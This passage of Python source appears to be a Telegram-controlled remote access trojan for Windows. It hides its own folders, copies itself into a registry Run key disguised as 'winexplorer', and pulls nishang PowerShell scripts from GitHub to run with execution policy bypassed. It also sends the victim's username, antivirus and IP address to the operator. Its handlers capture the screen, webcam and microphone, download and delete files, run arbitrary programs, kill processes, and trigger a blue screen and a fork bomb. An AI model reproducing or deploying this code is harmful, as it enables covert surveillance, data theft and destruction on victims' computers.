"https://raw.githubusercontent.com/samratashok/nishang/master/Utility/Download.ps1" 933 | #WIFI = "'https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-WLAN-Keys.ps1'" 934 | PATH = "ADDONS" 935 | 936 | def check(self): 937 | if not os.path.exists(self.PATH): 938 | os.mkdir(self.PATH) 939 | command = "attrib +h "+'"'+self.PATH+'"' 940 | self.run(command) 941 | return "created path" 942 | 943 | 944 | def run(self,command): 945 | comm = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) 946 | output, errors = comm.communicate() 947 | return output + errors 948 | 949 | def voice(self,command): 950 | self.check() 951 | try: 952 | path = os.path.join(self.PATH,"Speak.ps1") 953 | if not os.path.exists(path): 954 | print("LOADING VOICE MODULE FROM NET") 955 | urllib.request.urlretrieve(self.VOICE, path) 956 | print("LOADING COMPLETED") 957 | COMMAND = 'PowerShell -ExecutionPolicy Bypass -Command "& {. ./addons/Speak.ps1; Speak \''+command+"'}"+'"' 958 | result = self.run(COMMAND) 959 | if (result) == "1\n": 960 | return f"[*]succesfully spoke '{command}'" 961 | else: 962 | return f"ERROR IN POWERSHELL {result}" 963 | except Exception as e: 964 | return f"Unable to speak {command} [" + str(e)+ "]" 965 | 966 | def info(self): 967 | self.check() 968 | try: 969 | path = os.path.join(self.PATH,"Get-Information.ps1") 970 | if not os.path.exists(path): 971 | print("LOADING VOICE MODULE FROM NET") 972 | urllib.request.urlretrieve(self.ADVANCED_INFO, path) 973 | print("LOADING COMPLETED") 974 | COMMAND = 'PowerShell -ExecutionPolicy Bypass -Command "& {. ./addons/Get-Information.ps1; Get-Information}"' 975 | result = self.run(COMMAND) 976 | return result 977 | except Exception as e: 978 | return f"Unable to fetch info [" + str(e)+ "]" 979 | 980 | 981 | class Autorun: 982 | 983 | REMOVE_SCRIPT = r"""del /q C:\Users\"%USERNAME%"\AppData\Roaming\KILVISH 984 | reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /f 985 | cls 986 | echo "[*] DONE " 987 | echo "[*] Please Restart Your System!" 988 | pause 989 | """ 990 | 991 | def run(self,command): 992 | comm = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True) 993 | output, errors = comm.communicate() 994 | return output + errors 995 | 996 | def become_persistent_on_windows(self,evil_folder_location,evil_file_name): 997 | if sys.argv[0].endswith(".py"): 998 | print("can't create executable of python file") 999 | else: 1000 | evil_file_location = evil_folder_location+ "\\"+evil_file_name 1001 | if not os.path.exists(evil_folder_location): 1002 | os.mkdir(evil_folder_location) 1003 | command = "attrib +h "+'"'+evil_folder_location+'"' 1004 | self.run(command) 1005 | if not os.path.exists(evil_file_location): 1006 | shutil.copyfile(sys.executable, evil_file_location) 1007 | command = "attrib +h "+'"'+evil_file_location+'"' 1008 | self.run(command) 1009 | subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v winexplorer /t REG_SZ /d "' + evil_file_location + '"', shell=True) 1010 | return f"Added to startup in {evil_folder_location+'\\'+evil_file_name}" 1011 | else: 1012 | return "Already in Startup" 1013 | 1014 | 1015 | def uninstall(self): 1016 | 1017 | f = open("remove.bat",'w') 1018 | f.write(self.REMOVE_SCRIPT) 1019 | f.close() 1020 | os.startfile("remove.bat") 1021 | return "removed from autorun" 1022 | 1023 | ############################################################################################################### 1024 | 1025 | bot = telebot.TeleBot(TelegramToken, threaded=True) 1026 | bot.worker_pool = telebot.util.ThreadPool(num_threads=50) 1027 | 1028 | menu = telebot.types.ReplyKeyboardMarkup() 1029 | button1 = telebot.types.KeyboardButton('/1\n<<') 1030 | button2 = telebot.types.KeyboardButton('/2\n>>') 1031 | button3 = telebot.types.KeyboardButton('/Screen\n🖼') 1032 | button4 = telebot.types.KeyboardButton('/Webcam\n📸') 1033 | button5 = telebot.types.KeyboardButton('/Audio\n🎙') 1034 | button6 = telebot.types.KeyboardButton('/Power\n🔴') 1035 | button7 = telebot.types.KeyboardButton('/Autorun\n🔵') 1036 | menu.row(button1, button3, button2) 1037 | menu.row(button4, button5) 1038 | menu.row(button6, button7) 1039 | 1040 | main2 = telebot.types.InlineKeyboardMarkup() 1041 | button1 = telebot.types.InlineKeyboardButton('Hibernate - 🛑', callback_data='hibernate') 1042 | button2 = telebot.types.InlineKeyboardButton('Shutdown - ⛔️', callback_data='shutdown') 1043 | button3 = telebot.types.InlineKeyboardButton('Restart - ⭕️', callback_data='restart') 1044 | button4 = telebot.types.InlineKeyboardButton('Logoff - 💢', callback_data='logoff') 1045 | button5 = telebot.types.InlineKeyboardButton('BSoD - 🌀', callback_data='bsod') 1046 | button6 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel') 1047 | main2.row(button1) 1048 | main2.row(button2) 1049 | main2.row(button3) 1050 | main2.row(button4) 1051 | main2.row(button5) 1052 | main2.row(button6) 1053 | 1054 | main3 = telebot.types.InlineKeyboardMarkup() 1055 | button1 = telebot.types.InlineKeyboardButton('Add to Startup - 📥', callback_data='startup') 1056 | button2 = telebot.types.InlineKeyboardButton('Uninstall - ♻️', callback_data='confirm') 1057 | button3 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel') 1058 | main3.row(button1) 1059 | main3.row(button2) 1060 | main3.row(button3) 1061 | 1062 | main4 = telebot.types.InlineKeyboardMarkup() 1063 | button1 = telebot.types.InlineKeyboardButton('Yes, im sure!', callback_data='uninstall') 1064 | button2 = telebot.types.InlineKeyboardButton('Hell no!', callback_data='cancel') 1065 | button3 = telebot.types.InlineKeyboardButton('« Back', callback_data='cancel') 1066 | main4.row(button1) 1067 | main4.row(button2) 1068 | main4.row(button3) 1069 | 1070 | main5 = telebot.types.ReplyKeyboardMarkup() 1071 | button1 = telebot.types.KeyboardButton('/3\n<<') 1072 | button2 = telebot.types.KeyboardButton('/4\n>>') 1073 | button3 = telebot.types.KeyboardButton('/Screen\n🖼') 1074 | button4 = telebot.types.KeyboardButton('/Files\n💾') 1075 | button5 = telebot.types.KeyboardButton('/Tasklist\n📋') 1076 | button6 = telebot.types.KeyboardButton('/Taskkill\n📝') 1077 | main5.row(button1, button3, button2) 1078 | main5.row(button4) 1079 | main5.row(button5, button6) 1080 | 1081 | main6 = telebot.types.InlineKeyboardMarkup() 1082 | button1 = telebot.types.InlineKeyboardButton('Kill all Processes', callback_data='taskkill all') 1083 | button2 = telebot.types.InlineKeyboardButton('Disable Task Manager', callback_data='disabletaskmgr') 1084 | main6.row(button1) 1085 | main6.row(button2) 1086 | 1087 | main7 = telebot.types.ReplyKeyboardMarkup() 1088 | button1 = telebot.types.KeyboardButton('/CD\n🗂') 1089 | button2 = telebot.types.KeyboardButton('/Upload\n📡') 1090 | button3 = telebot.types.KeyboardButton('/ls\n📄') 1091 | button4 = telebot.types.KeyboardButton('/Remove\n🗑') 1092 | button5 = telebot.types.KeyboardButton('/Download\n📨') 1093 | button6 = telebot.types.KeyboardButton('/Run\n📌') 1094 | button7 = telebot.types.KeyboardButton('/Cancel') 1095 | main7.row(button1, button2, button3) 1096 | main7.row(button4, button5, button6) 1097 | main7.row(button7) 1098 | 1099 | main8 = telebot.types.ReplyKeyboardMarkup() 1100 | button1 = telebot.types.KeyboardButton('/5\n<<') 1101 | button2 = telebot.types.KeyboardButton('/6\n>>') 1102 | button3 = telebot.types.KeyboardButton('/Screen\n🖼') 1103 | button4 = telebot.types.KeyboardButton('/Message\n💬') 1104 | button5 = telebot.types.KeyboardButton('/Speak\n📢') 1105 | button6 = telebot.types.KeyboardButton('/OpenURL\n🌐') 1106 | button7 = telebot.types.KeyboardButton('/Wallpapers\n🧩') 1107 | main8.row(button1, button3, button2) 1108 | main8.row(button4, button5) 1109 | main8.row(button6, button7) 1110 | 1111 | 1112 | # Create a folder to save temporary files 1113 | 1114 | CurrentName = os.path.basename(sys.argv[0]) 1115 | CurrentPath = sys.argv[0] 1116 | 1117 | RAT = [ 1118 | Directory, 1119 | Directory + 'Documents', 1120 | Directory + 'Photos' 1121 | ] 1122 | 1123 | for Directories in RAT: 1124 | 1125 | if not os.path.exists(Directories): 1126 | os.makedirs(Directories) 1127 | 1128 | 1129 | # Run as Administrator 1130 | 1131 | # if AdminRightsRequired is True: 1132 | 1133 | # if Admin() is False: 1134 | # while True: 1135 | # try: 1136 | # print('[~] › Trying elevate previleges to administrator\n') 1137 | # os.startfile(CurrentPath, 'runas') 1138 | # except: 1139 | # pass 1140 | # else: 1141 | # print('[+] › ' + CurrentName + ' opened as admin rights\n') 1142 | # sys.exit() 1143 | 1144 | 1145 | # Disables TaskManager 1146 | 1147 | # if DisableTaskManager is True: 1148 | 1149 | # if os.path.exists(Directory + 'RegeditDisableTaskManager'): 1150 | # print('[+] › taskmgr.exe is already disabled\n') 1151 | 1152 | # else: 1153 | # if Admin() is False: 1154 | # print('[-] › This function requires admin rights\n') 1155 | 1156 | # if Admin() is True: 1157 | # RegeditDisableTaskManager() 1158 | # open(Directory + 'RegeditDisableTaskManager', 'a').close() 1159 | # print('[+] › taskmgr.exe has been disabled\n') 1160 | 1161 | 1162 | # Disables Regedit 1163 | 1164 | # if DisableRegistryTools is True: 1165 | 1166 | # if os.path.exists(Directory + 'RegeditDisableRegistryTools'): 1167 | # print('[+] › regedit.exe is already disabled\n') 1168 | 1169 | # else: 1170 | # if Admin() is False: 1171 | # print('[-] › This function requires admin rights\n') 1172 | 1173 | # if Admin() is True: 1174 | # RegeditDisableRegistryTools() 1175 | # open(Directory + 'RegeditDisableRegistryTools', 'a').close() 1176 | # print('[+] › regedit.exe has been disabled\n') 1177 | 1178 | 1179 | # Adds a program to startup 1180 | 1181 | if AutorunEnabled is True: 1182 | try: 1183 | autorun = Autorun() 1184 | ans = autorun.become_persistent_on_windows(InstallPath,AutorunName) 1185 | print('[+] > ' + ans+ "\n") 1186 | except: 1187 | print('[+] › ' + "Unable to add to autorun" + InstallPath + ProcessName + '\n') 1188 | 1189 | 1190 | # Displays a message on the screen. 1191 | 1192 | if DisplayMessageBox is True: 1193 | 1194 | if not os.path.exists(Directory + 'DisplayMessageBox'): 1195 | open(Directory + 'DisplayMessageBox', 'a').close() 1196 | MessageBox(Message) 1197 | 1198 | 1199 | # Protect process with BSoD (if killed). 1200 | 1201 | # if ProcessBSODProtectionEnabled is True: 1202 | 1203 | # if Admin() is False: 1204 | # print('[-] › This function requires admin rights\n') 1205 | 1206 | # if Admin() is True: 1207 | # if platform.release() == '10': 1208 | # Thread(target=ProcessChecker).start() 1209 | 1210 | # if platform.release() != '10': 1211 | # SetProtection() 1212 | 1213 | # print('[+] › Process protection has been activated\n') 1214 | 1215 | 1216 | # Sends an online message 1217 | 1218 | while True: 1219 | try: 1220 | 1221 | if Admin() is True: 1222 | Online = '🔘 Online!' 1223 | 1224 | if Admin() is False: 1225 | Online = '🟢 Online!' 1226 | 1227 | bot.send_message(TelegramChatID, 1228 | '\n*' + Online + '\n' 1229 | '\nPC » ' + os.getlogin() + 1230 | '\nOS » ' + Windows() + 1231 | '\n' 1232 | '\nAV » ' + Antivirus[0] + 1233 | '\n' 1234 | '\nIP » ' + Geolocation('query') + '*', 1235 | parse_mode='Markdown') 1236 | 1237 | except Exception as e: 1238 | print('[-] › Retrying connect to api.telegram.org\n') 1239 | print(e) 1240 | 1241 | else: 1242 | print('[+] › Connected to api.telegram.org\n') 1243 | break 1244 | 1245 | 1246 | # Takes a screenshot 1247 | 1248 | @bot.message_handler(regexp='/Screen') 1249 | def Screen(command): 1250 | try: 1251 | 1252 | bot.send_chat_action(command.chat.id, 'upload_photo') 1253 | File = Directory + 'Screenshot.jpg' 1254 | 1255 | Screenshot(File) 1256 | Screen = open(File, 'rb') 1257 | 1258 | bot.send_photo(command.chat.id, Screen) 1259 | 1260 | except: 1261 | pass 1262 | 1263 | 1264 | # Takes a photo from a webcam 1265 | 1266 | @bot.message_handler(regexp='/Webcam') 1267 | def Webcam(command): 1268 | try: 1269 | 1270 | bot.send_chat_action(command.chat.id, 'upload_photo') 1271 | File = Directory + 'Webcam.jpg' 1272 | 1273 | if os.path.exists(File): 1274 | os.remove(File) 1275 | 1276 | WebcamScreenshot(File) 1277 | Webcam = open(File, 'rb') 1278 | 1279 | bot.send_photo(command.chat.id, Webcam) 1280 | 1281 | except: 1282 | bot.reply_to(command, '_Webcam not found._', parse_mode='Markdown') 1283 | 1284 | 1285 | # Records microphone sound 1286 | 1287 | @bot.message_handler(regexp='/Audio') 1288 | def Audio(command): 1289 | try: 1290 | 1291 | Seconds = re.split('/Audio ', command.text, flags=re.I)[1] 1292 | bot.send_message(command.chat.id, '_Recording..._', parse_mode='Markdown') 1293 | try: 1294 | 1295 | File = Directory + 'Audio.wav' 1296 | 1297 | Microphone(File, Seconds) 1298 | Audio = open(File, 'rb') 1299 | 1300 | bot.send_voice(command.chat.id, Audio) 1301 | 1302 | except ValueError: 1303 | bot.reply_to(command, '_Specify the recording time in seconds._', parse_mode='Markdown') 1304 | 1305 | except: 1306 | bot.reply_to(command, '_Microphone not found._', parse_mode='Markdown') 1307 | 1308 | except: 1309 | bot.send_message(command.chat.id, '_Specify the recording duration_\n\n*› /Audio*', parse_mode='Markdown') 1310 | 1311 | 1312 | # Sends a message 1313 | 1314 | def SendMessage(call, text): 1315 | try: 1316 | bot.edit_message_text(chat_id=call.message.chat.id, message_id=call.message.message_id, text=text, parse_mode='Markdown') 1317 | except: 1318 | pass 1319 | 1320 | 1321 | # Power and startup management 1322 | 1323 | @bot.callback_query_handler(func=lambda call: True) 1324 | def CallbackInline(command): 1325 | if command.message: 1326 | 1327 | 1328 | # Hibernate button 1329 | 1330 | if command.data == 'hibernate': 1331 | SendMessage(command, '_Hibernate command received!_') 1332 | # UnsetProtection() 1333 | Hibernate() 1334 | 1335 | 1336 | # Shutdown button 1337 | 1338 | if command.data == 'shutdown': 1339 | SendMessage(command, '*Shutdown* command received!') 1340 | # UnsetProtection() 1341 | Shutdown() 1342 | 1343 | 1344 | # Reboot button 1345 | 1346 | if command.data == 'restart': 1347 | SendMessage(command, '*Restart* command received!') 1348 | # UnsetProtection() 1349 | Restart() 1350 | 1351 | 1352 | # Button that ends a user session 1353 | 1354 | if command.data == 'logoff': 1355 | SendMessage(command, '*Logoff* command received!') 1356 | # UnsetProtection() 1357 | Logoff() 1358 | 1359 | 1360 | # Button killing system with blue screen of death 1361 | 1362 | if command.data == 'bsod': 1363 | SendMessage(command, 'The *Blue Screen of Death* has been activated!') 1364 | # UnsetProtection() 1365 | BSoD() 1366 | 1367 | 1368 | # Button processing which adds a trojan to startup (schtasks) 1369 | 1370 | if command.data == 'startup': 1371 | check = autorun.become_persistent_on_windows() 1372 | SendMessage(command, check) 1373 | 1374 | 1375 | 1376 | 1377 | 1378 | # Button processing that confirms the removal of a trojan 1379 | 1380 | if command.data == 'confirm': 1381 | bot.edit_message_text(chat_id=command.message.chat.id, 1382 | message_id=command.message.message_id, text='_Are you sure?_', reply_markup=main4, parse_mode='Markdown') 1383 | 1384 | 1385 | # Handling the <> Button 1386 | 1387 | if command.data == 'uninstall': 1388 | SendMessage(command, '*' + CurrentName + '* has been uninstalled!') 1389 | ans = autorun.uninstall() 1390 | SendMessage(command, ans) 1391 | 1392 | 1393 | 1394 | # Handling the <> Button 1395 | 1396 | if command.data == 'taskkill all': 1397 | SendMessage(command, '_Terminating processes..._') 1398 | TaskkillAll(CurrentName) 1399 | SendMessage(command, '_All processes has been terminated!_') 1400 | 1401 | 1402 | # Handling the <> Button 1403 | 1404 | # if command.data == 'disabletaskmgr': 1405 | 1406 | # if os.path.exists(Directory + 'RegeditDisableTaskManager'): 1407 | # SendMessage(command, '*taskmgr.exe* is already disabled.') 1408 | 1409 | # else: 1410 | 1411 | # if Admin() is False: 1412 | # SendMessage(command, '_This function requires admin rights._') 1413 | 1414 | # if Admin() is True: 1415 | # RegeditDisableTaskManager() 1416 | # open(Directory + 'RegeditDisableTaskManager', 'a').close() 1417 | # SendMessage(command, '*taskmgr.exe* has been disabled!') 1418 | 1419 | 1420 | # Handling the <> Button 1421 | 1422 | if command.data == 'cancel': 1423 | SendMessage(command, '`...`') 1424 | 1425 | 1426 | # Browse and switch directories 1427 | 1428 | @bot.message_handler(regexp='/CD') 1429 | def CD(command): 1430 | try: 1431 | 1432 | Path = re.split('/CD ', command.text, flags=re.I)[1] 1433 | os.chdir(Path) 1434 | bot.send_message(command.chat.id, '_Directory Changed!_\n\n`' + os.getcwd() + '`', parse_mode='Markdown') 1435 | 1436 | except FileNotFoundError: 1437 | bot.reply_to(command, '_Directory not found._', parse_mode='Markdown') 1438 | 1439 | except: 1440 | bot.send_message(command.chat.id, '_Current Directory_\n\n`' + os.getcwd() + '`\n\n_Username_\n\n`' + os.getlogin() + '`', parse_mode='Markdown') 1441 | 1442 | 1443 | # List of files from a directory 1444 | 1445 | @bot.message_handler(regexp='/ls') 1446 | def ls(command): 1447 | try: 1448 | 1449 | Dirs = '\n``'.join(os.listdir()) 1450 | bot.send_message(command.chat.id, '`' + os.getcwd() + '`\n\n' + '`' + Dirs + '`', parse_mode='Markdown') 1451 | 1452 | except: 1453 | try: 1454 | 1455 | Dirse = '\n'.join(os.listdir()) 1456 | SplittedText = telebot.util.split_string(Dirse, 4096) 1457 | for Dirse in SplittedText: 1458 | bot.send_message(command.chat.id, '`' + Dirse + '`', parse_mode='Markdown') 1459 | 1460 | except PermissionError: 1461 | bot.reply_to(command, '_Permission denied._', parse_mode='Markdown') 1462 | 1463 | 1464 | # Deletes a user selected file 1465 | 1466 | @bot.message_handler(commands=['Remove', 'remove']) 1467 | def Remove(command): 1468 | try: 1469 | 1470 | File = re.split('/Remove ', command.text, flags=re.I)[1] 1471 | Created = os.path.getctime(os.getcwd() + '\\' + File) 1472 | Year, Month, Day, Hour, Minute, Second=time.localtime(Created)[:-3] 1473 | 1474 | def ConvertBytes(num): 1475 | for x in ['bytes', 'KB', 'MB', 'GB', 'TB']: 1476 | if num < 1024.0: 1477 | return '%3.1f %s' % (num, x) 1478 | num /= 1024.0 1479 | 1480 | def FileSize(FilePath): 1481 | if os.path.isfile(FilePath): 1482 | FileInfo = os.stat(FilePath) 1483 | return ConvertBytes(FileInfo.st_size) 1484 | 1485 | bot.send_message(command.chat.id, 1486 | 'File *' + File + '* removed!' 1487 | '\n' 1488 | '\n*Created* » `%02d/%02d/%d'%(Day, Month, Year) + '`' + 1489 | '\n*Size* » `' + FileSize(os.getcwd() + '\\' + File) + '`', 1490 | parse_mode='Markdown') 1491 | 1492 | os.remove(os.getcwd() + '\\' + File) 1493 | 1494 | except: 1495 | try: 1496 | 1497 | File = re.split('/Remove ', command.text, flags=re.I)[1] 1498 | Created = os.path.getctime(os.getcwd() + '\\' + File) 1499 | Year, Month, Day, Hour, Minute, Second=time.localtime(Created)[:-3] 1500 | Folder = os.getcwd() + '\\' + File 1501 | FolderSize = 0 1502 | 1503 | for (Path, Dirs, Files) in os.walk(Folder): 1504 | for iFile in Files: 1505 | FileName = os.path.join(Path, iFile) 1506 | FolderSize += os.path.getsize(FileName) 1507 | Files = Folders = 0 1508 | 1509 | for _, DirNames, FileNames in os.walk(os.getcwd() + '\\' + File): 1510 | Files += len(FileNames) 1511 | Folders += len(DirNames) 1512 | 1513 | shutil.rmtree(os.getcwd() + '\\' + File) 1514 | 1515 | bot.send_message(command.chat.id, 1516 | 'Folder *' + File + '* removed!' 1517 | '\n' 1518 | '\n*Created* » `%02d/%02d/%d'%(Day, Month, Year) + '`' + 1519 | '\n*Size* » `%0.1f MB' % (FolderSize/(1024*1024.0)) + '`' + 1520 | '\n*Contained* » `' + '{:,} Files, {:,} Folders'.format(Files, Folders) + '`', 1521 | parse_mode='Markdown') 1522 | 1523 | except FileNotFoundError: 1524 | bot.reply_to(command, '_File not found._', parse_mode='Markdown') 1525 | 1526 | except PermissionError: 1527 | bot.reply_to(command, '_Permission denied._', parse_mode='Markdown') 1528 | 1529 | except: 1530 | bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Remove • /RemoveAll*', parse_mode='Markdown') 1531 | 1532 | 1533 | # Deletes all files from the directory 1534 | 1535 | @bot.message_handler(commands=['RemoveAll', 'removeall']) 1536 | def RemoveAll(command): 1537 | try: 1538 | 1539 | bot.send_message(command.chat.id, '_Removing files..._', parse_mode='Markdown') 1540 | 1541 | FolderSize = 0 1542 | for (Path, Dirs, Files) in os.walk(os.getcwd()): 1543 | for File in Files: 1544 | FileNames = os.path.join(Path, File) 1545 | FolderSize += os.path.getsize(FileNames) 1546 | Files = Folders = 0 1547 | 1548 | for _, DirNames, FileNames in os.walk(os.getcwd()): 1549 | Files += len(FileNames) 1550 | Folders += len(DirNames) 1551 | list = os.listdir(os.getcwd()) 1552 | a = len(list) 1553 | 1554 | for FileNames in os.listdir(os.getcwd()): 1555 | FilePath = os.path.join(os.getcwd(), FileNames) 1556 | try: 1557 | if os.path.isfile(FilePath) or os.path.islink(FilePath): 1558 | os.unlink(FilePath) 1559 | elif os.path.isdir(FilePath): 1560 | shutil.rmtree(FilePath) 1561 | except: 1562 | pass 1563 | 1564 | list = os.listdir(os.getcwd()) 1565 | b = len(list) 1566 | c = (a - b) 1567 | 1568 | bot.reply_to(command, 1569 | 'Removed *' + str(c) + '* files out of *' + str(a) + '!*' 1570 | '\n' 1571 | '\nSize » `%0.1f MB' % (FolderSize/(1024*1024.0)) + '`' + 1572 | '\nContained » `' + '{:,} Files, {:,} Folders'.format(Files, Folders) + '`', 1573 | parse_mode='Markdown') 1574 | 1575 | except: 1576 | pass 1577 | 1578 | 1579 | # Upload a file to a connected computer (URL) 1580 | 1581 | @bot.message_handler(regexp='/Upload') 1582 | def Upload(command): 1583 | try: 1584 | 1585 | URL = re.split('/Upload ', command.text, flags=re.I)[1] 1586 | bot.send_message(command.chat.id, '_Uploading file..._', parse_mode='Markdown') 1587 | 1588 | Filename = os.getcwd() + '\\' + os.path.basename(URL) 1589 | r = urllib.request.urlretrieve(URL, Filename) 1590 | 1591 | bot.reply_to(command, '_File uploaded to computer!_\n\n`' + Filename + '`', parse_mode='Markdown') 1592 | 1593 | except ValueError: 1594 | bot.reply_to(command, '_Insert a direct download link._', parse_mode='Markdown') 1595 | 1596 | except: 1597 | bot.send_message(command.chat.id, '_Send file or paste URL_\n\n*› /Upload*', parse_mode='Markdown') 1598 | 1599 | 1600 | # Download a file to a connected computer (Message) 1601 | 1602 | @bot.message_handler(content_types=['document']) 1603 | def Document(command): 1604 | try: 1605 | 1606 | File = bot.get_file(command.document.file_id) 1607 | bot.send_message(command.chat.id, '_Uploading file..._', parse_mode='Markdown') 1608 | DownloadedFile = bot.download_file(File.file_path) 1609 | Source = Directory + File.file_path; 1610 | with open(Source, 'wb') as NewFile: 1611 | NewFile.write(DownloadedFile) 1612 | 1613 | Final = os.getcwd() + '\\' + Source.split(File.file_path)[1] + command.document.file_name 1614 | shutil.move(Source, Final) 1615 | bot.reply_to(command, '_File uploaded to computer!_\n\n`' + Final + '`', parse_mode='Markdown') 1616 | 1617 | except FileNotFoundError: 1618 | bot.reply_to(command, '_File format is not supported._', parse_mode='Markdown') 1619 | 1620 | except OSError: 1621 | bot.reply_to(command, '_Try saving the file in a different directory._', parse_mode='Markdown') 1622 | 1623 | except: 1624 | bot.reply_to(command, '_You cannot upload a file larger than 20 MB._', parse_mode='Markdown') 1625 | 1626 | 1627 | # Download the file selected by the user 1628 | 1629 | @bot.message_handler(regexp='/Download') 1630 | def Download(command): 1631 | try: 1632 | 1633 | File = re.split('/Download ', command.text, flags=re.I)[1] 1634 | Download = open(os.getcwd() + '\\' + File, 'rb') 1635 | bot.send_message(command.chat.id, '_Sending file..._', parse_mode='Markdown') 1636 | bot.send_document(command.chat.id, Download) 1637 | 1638 | except FileNotFoundError: 1639 | bot.reply_to(command, '_File not found._', parse_mode='Markdown') 1640 | 1641 | except: 1642 | try: 1643 | 1644 | File = re.split('/Download ', command.text, flags=re.I)[1] 1645 | bot.send_message(command.chat.id, '_Archiving..._', parse_mode='Markdown') 1646 | shutil.make_archive(Directory + File, 1647 | 'zip', 1648 | os.getcwd() + '\\', 1649 | File) 1650 | iFile = open(Directory + File + '.zip', 'rb') 1651 | bot.send_message(command.chat.id, '_Sending folder..._', parse_mode='Markdown') 1652 | bot.send_document(command.chat.id, iFile) 1653 | iFile.close() 1654 | os.remove(Directory + File + '.zip') 1655 | 1656 | except PermissionError: 1657 | bot.reply_to(command, '_Permission denied._', parse_mode='Markdown') 1658 | 1659 | except: 1660 | try: 1661 | 1662 | iFile.close() 1663 | os.remove(Directory + File + '.zip') 1664 | bot.reply_to(command, '_You cannot download a file larger than 50 MB._', parse_mode='Markdown') 1665 | 1666 | except: 1667 | bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Download*', parse_mode='Markdown') 1668 | 1669 | 1670 | # Runs the file selected by the user 1671 | 1672 | @bot.message_handler(commands=['Run', 'run']) 1673 | def Run(command): 1674 | try: 1675 | 1676 | File = re.split('/Run ', command.text, flags=re.I)[1] 1677 | os.startfile(os.getcwd() + '\\' + File) 1678 | bot.reply_to(command, 'File *' + File + '* has been running!', parse_mode='Markdown') 1679 | 1680 | except FileNotFoundError: 1681 | bot.reply_to(command, '_File not found._', parse_mode='Markdown') 1682 | 1683 | except OSError: 1684 | bot.reply_to(command, '_File isolated by the system and cannot be running._', parse_mode='Markdown') 1685 | 1686 | except: 1687 | bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Run • /RunAS*', parse_mode='Markdown') 1688 | 1689 | 1690 | # Runs the file selected by the user as administrator 1691 | 1692 | @bot.message_handler(commands=['RunAS', 'runas']) 1693 | def RunAS(command): 1694 | try: 1695 | 1696 | File = re.split('/RunAS ', command.text, flags=re.I)[1] 1697 | os.startfile(os.getcwd() + '\\' + File, 'runas') 1698 | bot.reply_to(command, 'File *' + File + '* has been running!', parse_mode='Markdown') 1699 | 1700 | except FileNotFoundError: 1701 | bot.reply_to(command, '_File not found._', parse_mode='Markdown') 1702 | 1703 | except OSError: 1704 | bot.reply_to(command, '_Acces denied._', parse_mode='Markdown') 1705 | except: 1706 | bot.send_message(command.chat.id, '_Enter a file name_\n\n*› /Run • /RunAS*', parse_mode='Markdown') 1707 | 1708 | 1709 | # Gets a list of active processes 1710 | 1711 | @bot.message_handler(regexp='/Tasklist') 1712 | def Tasklist(command): 1713 | bot.send_message(command.chat.id, '`' + ProcessList() + '`', parse_mode='Markdown') 1714 | 1715 | 1716 | # Kills the user selected process 1717 | 1718 | @bot.message_handler(regexp='/Taskkill') 1719 | def Taskkill(command): 1720 | try: 1721 | 1722 | Process = re.split('/Taskkill ', command.text, flags=re.I)[1] 1723 | KillProcess(Process) 1724 | 1725 | if not Process.endswith('.exe'): 1726 | Process = Process + '.exe' 1727 | 1728 | bot.reply_to(command, 'The process *' + Process + '* has been stopped!', parse_mode='Markdown') 1729 | 1730 | except: 1731 | bot.send_message(command.chat.id, 1732 | '_Enter process name_' 1733 | '\n' 1734 | '\n*› /Taskkill*' 1735 | '\n' 1736 | '\n_Active Window_' 1737 | '\n' 1738 | '\n`' + WindowTitle() + '`', 1739 | reply_markup=main6, parse_mode='Markdown') 1740 | 1741 | 1742 | # Displays text sent by user 1743 | 1744 | @bot.message_handler(regexp='/Message') 1745 | def Message(command): 1746 | try: 1747 | 1748 | Message = re.split('/Message ', command.text, flags=re.I)[1] 1749 | bot.reply_to(command, '_The message has been sended!_', parse_mode='Markdown') 1750 | SendMessageBox(Message) 1751 | 1752 | except: 1753 | bot.send_message(command.chat.id, '_Enter your message_\n\n*› /Message*', parse_mode='Markdown') 1754 | 1755 | 1756 | # Speak text 1757 | 1758 | @bot.message_handler(regexp='/Speak') 1759 | def Speak(command): 1760 | try: 1761 | 1762 | Text = re.split('/Speak ', command.text, flags=re.I)[1] 1763 | bot.send_message(command.chat.id, '_Speaking..._', parse_mode='Markdown') 1764 | try: 1765 | Adds = ADDONS() 1766 | msgToreturn = Adds.voice(Text) 1767 | bot.reply_to(command, '_Successfully!_ \n'+msgToreturn, parse_mode='Markdown') 1768 | except: 1769 | bot.reply_to(command, '_Failed to speak text._', parse_mode='Markdown') 1770 | 1771 | except: 1772 | bot.send_message(command.chat.id, '_Enter your text_\n\n*› /Speak*', parse_mode='Markdown') 1773 | 1774 | 1775 | # Opens a link from a standard browser 1776 | 1777 | @bot.message_handler(regexp='/OpenURL') 1778 | def OpenURL(command): 1779 | try: 1780 | 1781 | URL = re.split('/OpenURL ', command.text, flags=re.I)[1] 1782 | OpenBrowser(URL) 1783 | bot.reply_to(command, '_The URL has been opened!_', parse_mode='Markdown') 1784 | 1785 | except: 1786 | bot.send_message(command.chat.id, '_Enter your URL_\n\n*› /OpenURL*', parse_mode='Markdown') 1787 | 1788 | 1789 | # Sets the desktop wallpaper 1790 | 1791 | @bot.message_handler(content_types=['photo']) 1792 | def Wallpapers(command): 1793 | 1794 | Photo = bot.get_file(command.photo[len(command.photo)-1].file_id) 1795 | File = bot.get_file(command.photo[len(command.photo)-1].file_id) 1796 | DownloadedFile = bot.download_file(File.file_path) 1797 | Source = Directory + File.file_path; 1798 | with open(Source, 'wb') as new_file: 1799 | new_file.write(DownloadedFile) 1800 | 1801 | SetWallpapers(Photo, Directory) 1802 | bot.reply_to(command, '_ The Photo has been set on the Wallpapers!_', parse_mode='Markdown') 1803 | 1804 | 1805 | # Infinite start CMD.exe 1806 | 1807 | @bot.message_handler(regexp='/ForkBomb') 1808 | def ForkBomb(command): 1809 | 1810 | bot.send_message(command.chat.id, '_Preparing ForkBomb..._', parse_mode='Markdown') 1811 | Forkbomb() 1812 | 1813 | 1814 | # Endless file creation 1815 | 1816 | 